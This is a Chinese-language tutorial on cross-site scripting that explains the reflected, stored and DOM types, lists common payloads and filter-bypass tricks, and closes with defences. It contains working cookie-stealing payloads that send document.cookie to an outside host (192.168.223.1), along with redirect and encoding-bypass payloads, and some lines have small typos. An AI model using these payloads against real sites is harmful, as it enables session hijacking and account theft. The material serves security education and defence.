一、跨站脚本攻击介绍
1.跨站脚本攻击简介
跨站脚本攻击(Cross-Site Scripting)简称为XSS(本来为CSS,但是与前端语言CSS容易产生歧义,故取名为XSS),XSS是一种针对于网站应用程序(Web客户端)的安全漏洞攻击技术,是代码注入的一种,它允许攻击者将恶意JS代码注入到网页,这样其他用户在访问网页时就会受到影响。攻击者利用XSS代码攻击成功后,可能得到一些高权限来执行一些操作,或者访问私密网页内容,获取会话和cookie值以及重定向到第三方,使用XSS也可以反弹shell。
2.XSS分类
XSS一共可以分为三类:反射型XSS、存储型XSS、DOM型XSS
二、跨站脚本攻击原理
反射型XSS
1.反射型XSS介绍
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。攻击者在提交的数据中可以构造代码来执行,从而实现用户信息等攻击。但是需要诱骗用户"点击"一个恶意链接,才能攻击成功。
2.反射型XSS攻击方法
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
3.反射型XSS的攻击原理
- 获取cookie值
- 重定向到第三方网站
存储型XSS
1.存储型XSS介绍
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性和稳定性。
2.存储型XSS攻击方法
这种攻击多见于论坛、博客、留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。这个帖子的内容连同恶意脚本也一并会被服务器保存下来,这样,当其他用户去访问这个帖子时,恶意脚本就会在他们的浏览器中执行。
3.存储型XSS的攻击原理
- 获取cookie值
- 重定向到第三方网站
DOM型XSS
1.DOM介绍
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态的访问更新文档的内容、结构及样式。HTML的标签都是节点,而这些节点组成了DOM的整体结构----节点树。通过HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有的HTML元素(节点)均可被修改,也可以创建或删除节点。
HTML DOM树结构如下图所示
在网站页面有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型XSS漏洞不需要与服务端交互,它只发生在客户端处理数据的阶段。
2.DOM型XSS介绍
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
3.DOM型XSS攻击方法
用户请求的URL是由攻击者专门设计的URL,其中包含着XSS代码。用户请求了这个包含XSS代码的URL后,服务器的响应不会以任何形式包含攻击者的脚本,服务器会向浏览器返回一个包含上面脚本的HTML静态文本,用户浏览器把HTML文本解析成DOM,由于这个HTML中包含着XSS代码,浏览器在处理这个DOM时就会执行XSS代码,这样就会产生DOM型XSS攻击。
4.三种XSS的区别
(1):反射型XSS:反射型XSS不会存放到服务器端,具有一次性,并且只有当用户点击了构造的URL后才会触发XSS攻击。
(2):存储型XSS:存储型XSS会存放到服务器端,只要用户访问服务器就会触发XSS攻击。
(3):DOM型XSS:DOM型XSS是一种特殊的反射型XSS,因此也具有一次性,但是DOM型XSS最大的区别就是DOM型XSS不需要与服务器端进行交互。
三、常用的XSS语句
- 弹窗和重定向
<script>alert(/xss/)</script> <script>alert('xss')</script> <body οnlοad=alert('xss')> <svg οnlοad=alert('xss')> <img src=x οnerrοr=alert('xss')> <a href='' οnclick=alert('xss')>type</a> <a href=javascript:alert('xss')> <a href=http://192.168.223.1>click</a> <script>window.location="https://www.baidu.com"</script> <iframe src='http://192.168.223.1/a.jpg' height='0' width='0'></iframe>
- 获取cookie值
<script>new Image().src="http://192,168.223.1/c.php?output=" + document.cookie;</script> <script>alert(document.cookie)</script> <script src='http://192.168.223.1/cookie.js'></script> cookie.js文件代码如下 var img = new Image(); img src = 'http://192.168.223.1/cookie.php?ccokie=' + document.cookie;
四、跨站脚本攻击挖掘方法
1.查找输入点与输出点的位置
2.判断过滤机制过滤了什么内容,例如过滤了<script>标签等等
3.构造payload绕过过滤规则
五、Bypass XSS过滤方法
情形一:<script>标签被过滤
(1):使用其他标签进行绕过
(2):使用大小写进行绕过
(3):使用<script>标签复写来进行绕过
(4):使用JS编码、HTML实体编码和URL编码来绕过
情形二:过滤了引号
(1):使用 / 来代替引号
(2):使用fromCharCode进行编码来绕过引号过滤
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text"value=’\’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>’>
(3):使用"或者"来绕过引号过滤
<script>alert("XSS")</script>
<script>alert(&XSS&)</script>
(4):将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制
<script>eval(location.hash.slice(1))</script>#alert(‘a’)
情形三:过滤了空格
(1):这种情形可以使用%0d(回车)、%0a(换行)进行替换<img%0dsrc=1%0dοnerrοr=alert(/1/);>
情形四:"=、()、;、:"被过滤
使用下面语句几乎可以通杀所有浏览器<svg> <script>alert(/1/)</script>
六、防御跨站脚本攻击方法
1.对输入的数据进行过滤,包括“’”、“"”、“>”、“<”等特殊字符
2.可以使用HTTPOnly对cookie劫持进行限制
3.输入点检测
对用户输入的数据进行合法性检测,使用filter过滤敏感字符或对字符进行编码转义,对于特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现,如果放在浏览器端可能会被攻击者通过BurpSuite抓包进行绕过
4.输入点检测
对变量输出到HTML页面中时,对输出的内容进行编码转义,如果输出在HTML中时,对其进行HTML Encode转义,如果输出在Javascript中时,对其进行Javascript Encode。对使用Javascript Encode的变量就无法逃逸出引号外成为code的一部分。还可以使用更加严格的方法,对所有数字字母之外的字符都使用十六进制编码。此外,要注意在浏览器中,HTML编码会优先于Javascript的解析,编码的方式也可能有所不同